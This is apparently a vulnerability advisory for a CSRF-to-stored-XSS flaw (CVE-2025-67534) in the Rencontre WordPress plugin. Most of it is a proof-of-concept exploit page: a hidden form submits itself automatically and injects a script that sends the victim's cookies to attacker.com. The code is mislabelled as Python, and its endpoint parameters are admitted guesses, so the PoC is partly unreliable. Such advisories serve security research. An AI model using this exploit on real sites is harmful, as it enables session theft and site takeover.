Cross-Site Request Forgery (CSRF) vulnerability in Jacques Malgrange Rencontre rencontre allows Stored XSS.This issue affects Rencontre: from n/a through <= 3.13.7.
CVSS Details
CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
Configurations (Affected Products)
No configuration data available.
Rencontre <= 3.13.7
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-67534: Stored XSS via Rencontre Plugin -->
<!DOCTYPE html>
<html>
<head>
<title>CSRF Attack PoC - CVE-2025-67534</title>
</head>
<body>
<h1>CSRF PoC for Rencontre Plugin Stored XSS</h1>
<p>This PoC demonstrates how an attacker can exploit the CSRF vulnerability in Rencontre plugin to inject stored XSS.</p>
<!-- Auto-submit form that exploits the CSRF vulnerability -->
<form id="csrfForm" action="http://target-site.com/wp-admin/admin-post.php" method="POST" style="display:none;">
<!-- Rencontre plugin action endpoint - adjust action parameter based on target -->
<input type="hidden" name="action" value="rencontre_update_profile">
<!-- Injecting stored XSS payload in a profile field -->
<input type="hidden" name="display_name" value='<script>alert("XSS by CSRF - CVE-2025-67534");document.location="https://attacker.com/steal?cookie="+document.cookie</script>'>
<!-- CSRF token (missing or not validated by vulnerable endpoint) -->
<input type="hidden" name="security" value="any_value_works">
</form>
<script>
// Auto-submit the form on page load
document.getElementById('csrfForm').submit();
// Optional: Redirect after exploitation
setTimeout(function() {
window.location.href = 'https://attacker.com/pwned';
}, 2000);
</script>
<p><strong>Note:</strong> This PoC is for educational and authorized testing purposes only.</p>
</body>
</html>